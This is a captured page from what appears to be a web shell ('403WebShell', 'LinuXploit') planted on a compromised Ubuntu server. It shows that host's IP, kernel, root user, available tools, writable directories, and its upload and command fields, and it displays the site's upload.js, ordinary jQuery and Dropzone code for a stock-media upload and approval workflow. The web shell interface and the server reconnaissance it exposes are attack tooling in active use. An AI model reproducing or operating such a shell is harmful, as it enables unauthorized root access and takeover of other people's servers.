WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/public/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/public/js/upload.js
let toSubmit = true;
let editForm = false;
let editFormFiles = [];
let approvedFlag = false;
let rejectedFlag = false;
let pendingFlag = false;
window.pendingFiles = [];
window.rejectedFiles = [];
window.approvedFiles = [];
window.selected_images = [];
let categoriesElementEdit =  $(".edit_stock_sidebar").find("[name='category']");
let releasesElementEdit =  $(".edit_stock_sidebar").find("[name='releases']");
let pending_approval_files = [];
let toBeApproved = []
jQuery(document).ready(function ($) {

    $('.multi-selector').multipleSelect({
        selectAll: false
    });
    //push the first auto selected image
    let items = $("#to_submit").find(".image_items");
    $.each(items,function (){
        if($(this).hasClass("selected")){
            let file = $(this).data("file");
            if ($.inArray(file, window.selected_images) === -1) {
                window.selected_images.push(file);
            }
        }
    })
    $('.selectable-image').click(function (e) {
        // $("#select_all").prop("checked", false);
        console.log($(this));
        $(".alert").hide();
        const image_item = $(this).parent("div");
        const image_item_parent = $(this).parents(".image_items");
        const file_name = (image_item_parent.data('file'));
        const url = (image_item_parent.data('details_url'));
        const stock_id = (image_item_parent.data('stock_id'));
        const releases_url = (image_item_parent.data('releases_url'));
        let allImageCount = 0;
        let allImageCountSelected = 0;
        if (toSubmit){
            if ($.inArray(file_name,  window.toSubmitFiles) >= 0) {
                window.toSubmitFiles.splice($.inArray(file_name, toSubmitFiles), 1);
            } else if(!image_item_parent.hasClass("selected")) {
                window.toSubmitFiles.push(file_name);
            }
            allImageCount = $("#to_submit").find(".photos_column").length;
            allImageCountSelected = window.toSubmitFiles.length;
            //mark for admin approval
            if ($("#approve_form").length > 0){
                if ($.inArray(stock_id, toBeApproved) >= 0) {
                    //in array remove
                    toBeApproved.splice($.inArray(stock_id, toBeApproved), 1);
                } else {
                    //not in array add
                    toBeApproved.push(stock_id)
                }
                getStockDetails(window.toSubmitFiles, url, stock_id, releases_url);
                allImageCount = $("#pending_upload").find(".photos_column").length;
            }
            if (allImageCount === allImageCountSelected){
                $("#select_all").prop("checked", true)
            }
            else{
                $("#select_all").prop("checked", false)
            }
        }
        if(editForm){
            if ($.inArray(file_name, editFormFiles) >= 0) {
                editFormFiles.splice($.inArray(file_name, editFormFiles), 1);
            } else {
                editFormFiles.push(file_name);
            }
        }
        if (approvedFlag){
            if ($.inArray(file_name, window.approvedFiles) >= 0) {
                window.approvedFiles.splice($.inArray(file_name, window.approvedFiles), 1);
            } else {
                window.approvedFiles.push(file_name);
            }
            allImageCount = $("#reviewed").find(".photos_column").length;
            allImageCountSelected = window.approvedFiles.length;
            if (allImageCount === allImageCountSelected){
                $("#select_all").prop("checked", true)
            }
            else{
                $("#select_all").prop("checked", false)
            }
        }
        if (rejectedFlag){
            if ($.inArray(file_name, window.rejectedFiles) >= 0) {
                window.rejectedFiles.splice($.inArray(file_name, window.rejectedFiles), 1);
            } else {
                window.rejectedFiles.push(file_name);
            }
            allImageCount = $("#rejected").find(".photos_column").length;
            allImageCountSelected = window.rejectedFiles.length;

            if (allImageCount === allImageCountSelected){
                $("#select_all").prop("checked", true)
            }
            else{
                $("#select_all").prop("checked", false)
            }
        }

        if (pendingFlag){
            if ($.inArray(file_name, window.pendingFiles) >= 0) {
                window.pendingFiles.splice($.inArray(file_name, window.pendingFiles), 1);
            } else {
                window.pendingFiles.push(file_name);
            }
            if ($("#approve_form").length === 0){
                allImageCount = $("#pending_upload").find(".photos_column").length;
            }else {
                allImageCount = $("#reviewed").find(".photos_column").length;
            }

            allImageCountSelected = window.pendingFiles.length;

            if (allImageCount === allImageCountSelected){
                $("#select_all").prop("checked", true)
            }
            else{
                $("#select_all").prop("checked", false)
            }
        }
        if (toBeApproved.length > 0){
            $("#multiple_approve").show();
        }else {
            $("#multiple_approve").hide();
        }
        //if in selected images remove else add
        if ($.inArray(file_name, window.selected_images) >= 0) {
            //in array remove
            $(image_item).removeClass('selected')
            $(image_item).parents(".image_items").removeClass('selected');
            window.selected_images.splice($.inArray(file_name, window.selected_images), 1);
        } else {
            //not in array add
            window.selected_images.push(file_name);
            $(image_item).addClass('selected')
            $(image_item).parents(".image_items").addClass('selected');
            $(image_item).parents(".photos_column").addClass('selected')
        }
        checkSaved();
        getEditFormData();
    });

    function remove_selected(images) {
        images.forEach(function (image) {
            let imgEl = $("img[src$='" + image + "']");
            imgEl.closest('.photos_column').remove();
        });
        //TODO if none the different loginc include hide the form
        $('.image_items').first().addClass('selected');
    }
    $('#select_all').on('change', function (e) {
        let container = "";
        let items_array = [];
        if ($("#approve_form").length === 0){
            if (toSubmit){
                container = "#to_submit";
            }
            if (pendingFlag){
                container = "#pending_upload";
            }
            if (approvedFlag){
                container = "#reviewed";
            }
            if (rejectedFlag){
                container = "#rejected";
            }
        }else {
            //admin
            if (toSubmit){
                container = "#pending_upload";
            }
            if(pendingFlag){
                container = "#reviewed";
            }
        }
        if ($(this).is(':checked')) {
            items_array = [];
            $(`${container}`).find(".selectable-image").each(function (index) {
                const image_item = $(this).parents(".image_items");
                const file_name = (image_item.data('file'));
                items_array.push(file_name);
                $(image_item).addClass('selected')
                $(image_item).parents(".photos_column").addClass('selected');
            });
        }
        else {
            //unselect *
            // window.selected_images = [];
            items_array = [];
            $(`${container}`).find('.selectable-image').each(function (index) {
                const image_item = $(this).parents(".image_items");
                const file_name = (image_item.data('file'));
                $(image_item).removeClass('selected');
                $(image_item).parent(".photos_column").removeClass('selected');
                window.selected_images = window.selected_images.filter(item => item !== file_name );
            });
        }
        if ($("#approve_form").length === 0){
            if (toSubmit){
                window.toSubmitFiles = items_array;
            }
            if (pendingFlag){
                window.pendingFiles = items_array;
            }
            if (approvedFlag){
                window.approvedFiles = items_array;
            }
            if (rejectedFlag){
                window.rejectedFiles = items_array;
            }
            if(editForm){
                editFormFiles = items_array;
            }
        }else {
            //admin
            if (toSubmit){
                toBeApproved = items_array.map(item => {
                    return $(`[data-file='${item}']`).data('stock_id')
                });
                window.toSubmitFiles = items_array;
                if (toBeApproved.length ===1){
                    const file = toBeApproved[0];
                    const image = $(`[data='${file}']`);
                    const stock_id = (image.data('stock_id'));
                    const releases_url = (image.data('releases_url'));
                    getStockDetails(window.toSubmitFiles, url, stock_id, releases_url);
                }
            }
            if(pendingFlag){
                window.pendingFiles = items_array;
            }
        }
        items_array.forEach((file_name)=>{
            if ($.inArray(file_name, window.selected_images) === -1) {
                window.selected_images.push(file_name);
            }
        });
        checkSaved();
        getEditFormData();

    });
    $('.delete_icon').click(function (e) {
        e.preventDefault();
        const delete_elm = $(this);
        const file_name = $(this).data('file');
        const stock_type = $(this).data('filetype') ? $(this).data('filetype') : "image";
        const url = $(this).data('url');
        const fileType = $(this).data('type');
        const fileName = $(this).data('file');
        let count_elem;
        let stockName=false;
        if (fileType === "to-submit") {
            count_elem = $("#to_submit_count");
        } else if (fileType === "pending") {
            count_elem = $("#pending_count");
            stockName = $(this).data("stock-title");
        }else if (fileType === "approved"){
            count_elem = $("#reviewed_count");
            stockName = $(this).data("stock-title");
        }else if(fileType === "rejected") {
            count_elem = $("#rejected_count");
            stockName = $(this).data("stock-title");
        }else {
            console.log(fileType);
        }
        let deleteAction=confirm(`Are you sure you want to delete this file?`);
        if (!deleteAction){
            return;
        }
        if (window.toSubmitFiles.includes(file_name)){
            window.toSubmitFiles.splice($.inArray(file_name, toSubmitFiles), 1);
        }
        if (window.pendingFiles.includes(file_name)){
            window.pendingFiles.splice($.inArray(file_name, window.pendingFiles), 1);
            handleSidebarDetails();
        }
        if (window.rejectedFiles.includes(file_name)){
            window.rejectedFiles.splice($.inArray(file_name, window.rejectedFiles), 1);
            handleSidebarDetails();
        }
        if (window.approvedFiles.includes(file_name)){
            window.approvedFiles.splice($.inArray(file_name, window.approvedFiles), 1);
            handleSidebarDetails();
        }
        if ($.inArray(file_name, editFormFiles) >= 0) {
            editFormFiles.splice($.inArray(file_name, editFormFiles), 1);
            handleSidebarDetails();

        }

        window.selected_images = window.selected_images.filter(item => item !== file_name);

        function handleSidebarDetails(){
            $(".edit_stock_sidebar").hide();
            $(".details_sidebar").show();
            $(".details_sidebar").find(".details").text("");
            $(".edit_approved").find("button").hide();
        }


        $.ajax({
            url: url,
            context: document.body,
            data: {
                fileType: fileType,
                stockType: stock_type,
                image: fileName,
            }
        }).done(function () {
            delete_elm.closest('.photos_column').remove();
            let initialCount = count_elem.html();
            let count = Number(initialCount) - 1;
            count_elem.html(count);
        });


    });

    let stock_uploads_form = $(".stock_uploads_form");
    let min_price = parseInt(stock_uploads_form.data("min_price"));
    let max_price = parseInt(stock_uploads_form.data("max_price"));
    let priceField = $("[name='price']");
    $.validator.addMethod(
        "priceEnforce",
        function () {
            return parseInt(priceField.val()) >= min_price && parseInt(priceField.val()) <= max_price;
        },
        "Please enter a price within the range given: min: "+min_price+", max: "+max_price
    );
    $.validator.addMethod(
        "keyWordsCount",
        function () {
            let count = $("#keywords-field_tagsinput").find(".tag").length;
            return count >= 7 && count <= 200;
        },
        "Please enter at least 7 and at most 200 keywords"
    );
    $.validator.addMethod(
        "licenceTypeValidate",
        function () {
            let licence = $("[name='licence_type']").val();
            return licence !== "";
        },
        "Please select a licence type"
    );

    $.validator.setDefaults({
        ignore: []
    });

    $("#upload_details").validate({
        debug: true,
        ignore: '*:not([name])',
        errorElement: "div",
        errorClass: "authError",
        errorContainer: $("#warning, #summary"),
        rules: {
            price: {
                priceEnforce: true
            },
            keywords: {
                keyWordsCount: true
            }
        },
        messages: {
            keywords: {
                keywords: "Please enter at least 7 and at most 200 keywords separated by a comma"
            }
        },
        errorPlacement: function (error, element) {
            console.log(error);

            if (element.hasClass('file-input')) {
                error.appendTo(element.parent("div").parent("div").parent("div"));
                element.parent("div").parent("div").addClass('error')
            }else if (element.is("select")){
                error.appendTo(element.parent("div").parent("div"));
            } else {
                error.appendTo(element.parent("div"));
            }
        },
        submitHandler: function (form) {

            let form_data = new FormData();

            $("#btn_form_details_submit").hide();
            $("#fountainG").show();


            $('#upload_details').find('.details').each(function () {
                form_data.append($(this).attr('name'), $(this).val());
                //console.log(this);
            });

            let selected_images = [];

            $('.selected').find('img').each(function () {
                selected_images.push($(this).attr('src'));
            });

            //form_data.append('selected_images',selected_images);
            form_data.append('selected_images', window.toSubmitFiles);
            console.log(form_data.get('selected_images'));
            $.ajax({
                url: $('#upload_details').attr('action'),
                type: "POST",
                processData: false,
                contentType: false,
                data: form_data,

                async: true,
                success: function (data) {
                    $("#fountainG").hide();
                    $("#btn_form_details_submit").show();

                    remove_selected(selected_images);
                    let submitted_items = window.toSubmitFiles.length;
                    let to_submit_count = parseInt($('#to_submit_count').html());
                    let pending_count = parseInt($('#pending_count').html());
                    let reviewed_count = parseInt($('#reviewed_count').html());
                    $('#to_submit_count').html(to_submit_count - submitted_items);
                    $('#pending_count').html(pending_count + submitted_items);
                    $('#upload_details')[0].reset();
                    let message = data.message;
                    sessionStorage.setItem("forApproval", "true");
                    if (message !== null){
                        sessionStorage.setItem("errorApproval", "true");
                    }
                    location.reload();
                }
            });
            return false;

        },
        highlight: function(element, errorClass) {
            $(element).removeClass(errorClass);
        }


    });

    $("#edit_image_details").on("submit", function (e) {
        e.preventDefault();
        let formData = new FormData();

        $(".authError").remove();

        let minPrice = $(this).data("min_price");
        let maxPrice = $(this).data("max_price");



        let $error = $(`<div class="authError"></div>`);

        let errorFlag = false;

        $('#edit_image_details').find('.details').each(function () {
            //keywords
            if ($(this).attr('name') === 'keywords'){
                let count = $(".tag").length;
                if (count < 7 || count > 200){
                    $(this).parent(".form_group").append($error.text(`Please enter at least 7 and at most 200 keywords.`));
                    errorFlag=true;
                }
            }

            //price
            if ($(this).attr('name') === 'price'){
                if ($(this).val() > maxPrice || $(this).val() < minPrice){
                    $(this).after($error.text(`Price should not be more than ${maxPrice} or less than ${minPrice}`));
                    errorFlag=true;
                }
            }

            //categories
            let selectedCats = categoriesElementEdit.multipleSelect("getSelects");
            if ($(this).attr('name') === 'category'){
                if (selectedCats.length === 0){
                    $(this).parent(".multi_select").after($error.text(`You must select at least one category`));
                    errorFlag=true;
                }
            }

            formData.append($(this).attr('name'), $(this).val());
        });


        if (!errorFlag){

            $(".authError").remove();

            $(".edit_form_submit").hide();
            $(".edit_form_progress").show();
            $.ajax({
                url: $("#edit_image_details").attr("action"),
                type: "POST",
                processData: false,
                contentType: false,
                data: formData,
                async: true,
                success: function (data, status) {
                    $(".alert").text(data.message).show();
                    $(".edit_form_progress").hide();
                    $(".edit_form_submit").show();
                }
            });
        }
    });

    let videos_form = $("#upload_details_videos");



    videos_form.validate({
        debug: true,
        ignore: '*:not([name])',
        errorElement: "div",
        errorClass: "authError",
        errorContainer: $("#warning, #summary"),
        rules: {
            price: {
                priceEnforce: true
            },
            keywords: {
                keyWordsCount: true
            }
        },
        messages: {
            keywords: {
                keywords: "Please enter at least 7 and at most 200 keywords separated by a comma"
            }
        },
        errorPlacement: function (error, element) {
            console.log(error);

            if (element.hasClass('file-input')) {
                error.appendTo(element.parent("div").parent("div").parent("div"));
                element.parent("div").parent("div").addClass('error')
            } else if (element.is("select")){
                error.appendTo(element.parent("div").parent("div"));
            }else {
                error.appendTo(element.parent("div"));
            }
        },
        submitHandler: function (form) {

            let form_data = new FormData();

            $("#btn_form_details_submit").hide();
            $("#fountainG").show();

            videos_form.find('.details').each(function () {
                form_data.append($(this).attr('name'), $(this).val());
            });

            let selected_videos = [];

            $('.selected').find('img').each(function () {
                selected_videos.push($(this).attr('src'));
            });

            form_data.append('selected_videos', window.toSubmitFiles);

            $.ajax({
                url: videos_form.attr('action'),
                type: "POST",
                processData: false,
                contentType: false,
                data: form_data,

                async: true,
                success: function (data) {
                    $("#fountainG").hide();
                    $("#btn_form_details_submit").show();
                    remove_selected(selected_videos);
                    let submitted_items = window.toSubmitFiles.length;
                    let to_submit_count = parseInt(videos_form.find('#to_submit_count').html());
                    let pending_count = parseInt(videos_form.find('#pending_count').html());
                    videos_form.find('#to_submit_count').html(to_submit_count - submitted_items);
                    videos_form.find('#pending_count').html(pending_count + submitted_items);
                    //videos_form[0].reset();
                    sessionStorage.setItem("forApproval", "true");
                    location.reload();
                }
            });
            return false;
        },
        highlight: function(element, errorClass) {
            $(element).removeClass(errorClass);
        }


    });

    $("#reviewed_stock_link").on("click", function (i, e) {
        //$("#approve_form").hide();
    });

    window.onload = function () {
        let forApproval = sessionStorage.getItem("forApproval");
        let approved = sessionStorage.getItem("approved");
        let rejectedstock = sessionStorage.getItem("rejectstock");
        if (forApproval) {
            sessionStorage.removeItem("forApproval");
            document.querySelector("#pending_upload_link").click();
            if (sessionStorage.getItem("errorApproval")){
                sessionStorage.removeItem("errorApproval");
                $('.alert').text('Some of your files have been rejected due to file errors. Please review your uploads and upload again if necessary').show().delay(6000).fadeOut();
            }else {
                $('.alert').text('Files have been submitted Successfully').show().delay(3000).fadeOut();
            }
            removeTag();
        }
        if (approved) {
            sessionStorage.removeItem("approved");
            document.querySelector("#pending_upload_link").click();
            $('.alert').text('Files have been approved Successfully').show().delay(3000).fadeOut();
            removeTag();
        }
        if (rejectedstock) {
            sessionStorage.removeItem("rejectstock");
            $('.alert').text('Files have been rejected successfully').show().delay(3000).fadeOut();
            removeTag();
        }

    };

    $("#approvestock").click(function (e) {
        $("div.alert-danger").hide();
        if (window.toSubmitFiles.length > 0){
            if ($("#multiple_approve").prop("checked")){
                let url = $('#approve_form').attr('action');
                let form_data = new FormData();
                form_data.append("multiple_approve",1);
                form_data.append('to_approve', toBeApproved);

                let licence = $("#approve_form select[name='licence_type']").val();
                if (licence !== ""){
                    form_data.append("licence_type", licence);
                    $("#fountainG").show();
                    $(".option_btns").hide();
                    $.ajax({
                        url: url,
                        type: "POST",
                        processData: false,
                        contentType: false,
                        data: form_data,

                        async: true,
                        success: function (data) {
                            $("#fountainG").hide();
                            $(".option_btns").show();

                            remove_selected(selected_images);
                            let submitted_items = window.selected_images.length;
                            let to_submit_count = parseInt($('#to_submit_count').html());
                            let pending_count = parseInt($('#pending_count').html());
                            let reviewed_count = parseInt($('#reviewed_count').html());
                            $('#reviewed_count').html(reviewed_count + submitted_items);
                            $('#pending_count').html(pending_count - submitted_items);
                            $('#approve_form')[0].reset();
                            sessionStorage.setItem("approved", "true");
                            location.reload();
                        }
                    });
                }else {
                    $('.alert').text('Please select a licence type to apply').show().delay(3000).fadeOut();
                }
            }
            else {
                $("#btn_form_approve_submit").click();
            }
        }
        else {
            $("div.alert-danger").text("You must select atleast one stock to approve").show();
        }
    });

    $("#rejectstocktrigger").click(function (e) {
        if (toBeApproved.length > 0) {
            $("#rejectstockmodal").css("display", "block");
        } else {
            $('.alert').text('Select files to reject').show().delay(3000).fadeOut();
        }
    });


    $("#rejectstock").on("submit", function (e) {
        e.preventDefault();

        if (toBeApproved.length > 0) {
            let fd = new FormData();
            fd.append("to_reject", toBeApproved);
            let reason = $("[name='stockreason']").val();
            fd.append("reason", reason);
            $("#rejectstockmodal").css("display", "none");
            $.ajax({
                url: $('#rejectstock').attr('action'),
                type: "POST",
                processData: false,
                contentType: false,
                data: fd,

                async: true,
                success: function (data) {
                    //let status = data.status
                    window.location.reload();
                    sessionStorage.setItem("rejectstock", "true");
                }
            });
        } else {
            $('.alert').text('Select files to reject').show().delay(3000).fadeOut();
        }

    });

    $("#approve_form").validate({
        debug: true,
        ignore: '*:not([name])',
        errorElement: "div",
        errorContainer: $("#warning, #summary"),
        errorClass: "authError",
        errorPlacement: function (error, element) {
            console.log(error);

            if (element.hasClass('file-input')) {
                error.appendTo(element.parent("div").parent("div").parent("div"));
                // element.parent("div").parent("div").addClass('error')
                element.parent("div").parent("div").addClass('authError')
            }else if (element.is("select")){
                error.appendTo(element.parent("div").parent("div"));
            } else {
                error.appendTo(element.parent("div"));
            }
        },
        submitHandler: function (form) {

            let form_data = new FormData();
            let dataArr = []
            $('#approve_form').find('.details').each(function () {
                const name = $(this).attr('name');
                const value = $(this).val();
                form_data.append(name, value);
                dataArr.push({name, value})
            });

            $(".admin_invalid_stock").hide();

            form_data.append('to_approve', toBeApproved);
            // console.log(form_data.get('title'));
            if (toBeApproved.length > 0) {
                $(".option_btns").hide();
                $("#fountainG").show();
                $.ajax({
                    url: $('#approve_form').attr('action'),
                    type: "POST",
                    processData: false,
                    contentType: false,
                    data: form_data,

                    async: true,
                    success: function (data) {
                        $("#fountainG").hide();
                        $(".option_btns").show();

                        remove_selected(selected_images);
                        let submitted_items = window.selected_images.length;
                        let to_submit_count = parseInt($('#to_submit_count').html());
                        let pending_count = parseInt($('#pending_count').html());
                        let reviewed_count = parseInt($('#reviewed_count').html());
                        $('#reviewed_count').html(reviewed_count + submitted_items);
                        $('#pending_count').html(pending_count - submitted_items);
                        $('#approve_form')[0].reset();
                        sessionStorage.setItem("approved", "true");
                        location.reload();
                    }
                });
            } else {
                $('.alert').text('Select files to approve').show().delay(3000).fadeOut();
            }
            return false;

        },
        highlight: function(element, errorClass) {
            $(element).removeClass(errorClass);
        }

    });


});

//dropzone
let nextBtn = $(".submit_next_btn");
let parallelUploads = nextBtn.data("new") ? 50 : 5;
Dropzone.options.imagesdrop = {
    paramName: "file", // The name that will be used to transfer the file
    maxFilesize: 209715200, // MB
    timeout:0,
    autoDiscover: false,
    autoProcessQueue: false,
    maxFiles: 50,
    acceptedFiles: `image/jpeg`,
    parallelUploads: 50,
    accept: function (file, done) {
        let filesizeMB = file.size * 0.000001
        if (filesizeMB < 3) {
            done(`Image size should be at least 3MBs`)
        } else {
            done();
        }
    },
    init: function () {
        let myDropzone = this;
        let processing = false;
        this.on("removedfile", function (file) {
            //console.log("removed file "+file.name);
            if (file.previewElement != null && file.previewElement.parentNode != null) {
                file.previewElement.parentNode.removeChild(file.previewElement);
            }
            return this._updateMaxFilesReachedClass();
        });
        this.on("queuecomplete", function (file) {
            //console.log("complete");
            if (processing) {
                window.location.href = nextBtn.attr("href")
            }
        });
        this.on("sending", function (file) {
            //console.log("uploading file");
            processing = true;
        });
        nextBtn.on("click", function (e) {
            e.preventDefault();
            myDropzone.processQueue();
        });
    }
};

Dropzone.options.videosdropp = {
    paramName: "file", // The name that will be used to transfer the file
    maxFilesize: 209715200, // MB
    autoDiscover: true,
    autoProcessQueue: false,
    maxFiles: parallelUploads,
    timeout:0,
    acceptedFiles: `video/mp4`,
    parallelUploads: parallelUploads,
    accept: function (file, done) {
        let filesizeMB = file.size * 0.000001
        if (filesizeMB < 5) {
            done(`Video size should be at least 5MB`)
        } else {
            done();
        }
    },
    init: function () {
        let myDropzone = this;
        let processing = false;

        this.on("removedfile", function (file) {
            //console.log("removed file "+file.name);
            if (file.previewElement != null && file.previewElement.parentNode != null) {
                file.previewElement.parentNode.removeChild(file.previewElement);
            }
            return this._updateMaxFilesReachedClass();
        });
        this.on("queuecomplete", function (file) {
            //console.log("complete");
            if (processing) {
                window.location.href = nextBtn.attr("href")
            }

        });
        this.on("sending", function (file) {
            //console.log("uploading file");
            processing = true;
        });
        nextBtn.on("click", function (e) {
            e.preventDefault();
            myDropzone.processQueue();
        });
    }
};

let categoriesElem = $("[name='category']");
let releasesElem = $("[name='releases']");
categoriesElem.multipleSelect({
    selectAll: false
});
releasesElem.multipleSelect({
    selectAll: false
});

let selectedImages = window.selected_images;
const sameShootElem = $('[name="same_shoot_code"]');
const sameShootEl = sameShootElem.parent();
let keywordsField = $('#keywords-field');
keywordsField.tagsInput();

let keywordsFieldEdit = $('.edit_stock_sidebar #keywords-field');
keywordsFieldEdit.tagsInput();


$("#same-shoot-btn").click(function (e) {
    e.preventDefault();

    let arr = [];
    while (arr.length < 5) {
        let r = Math.floor(Math.random() * 100) + 1;
        if (arr.indexOf(r) === -1) arr.push(r);
    }
    let code = arr.join("");
    sameShootElem.val(code)
});

function setKeyWords() {
    if (window.toSubmitFiles.length === 1) {
        $.post(
            $("#keywords-field").data("url"),
            {
                "imageName": window.toSubmitFiles[0]
            },
            function (data, status) {
                const keywords = data.keywords;

                if (keywords){
                    let keywordsAsString=keywords.toString();
                    let keywordsArray = keywordsAsString.split(",");
                    let cleanKeywordsArray=[];

                    for (let key in keywordsArray){
                        let word = keywordsArray[key].trim();
                        if(word.length > 0 && $.inArray(word,cleanKeywordsArray < 0)){
                            cleanKeywordsArray.push(word)
                        }
                    }

                    for (const keyword in cleanKeywordsArray) {
                        //let elem = `<span class="tag"><span>${keywords[word]}&nbsp;&nbsp;</span><a href="#" title="Removing tag">x</a></span>`;
                        keywordsField.addTag(cleanKeywordsArray[keyword]);
                    }
                }
            }
        );
    } else {
        removeTag();
    }
}

function removeTag() {
    $(".tagsinput").children(".tag").each(function (index, element) {
        $(element).remove();
    });
}
function removeTagsFromEdit() {
    $(".edit_stock_sidebar .tagsinput").children(".tag").each(function (index, element) {
        $(element).remove();
    });

}

Youez - 2016 - github.com/yon3zu
LinuXploit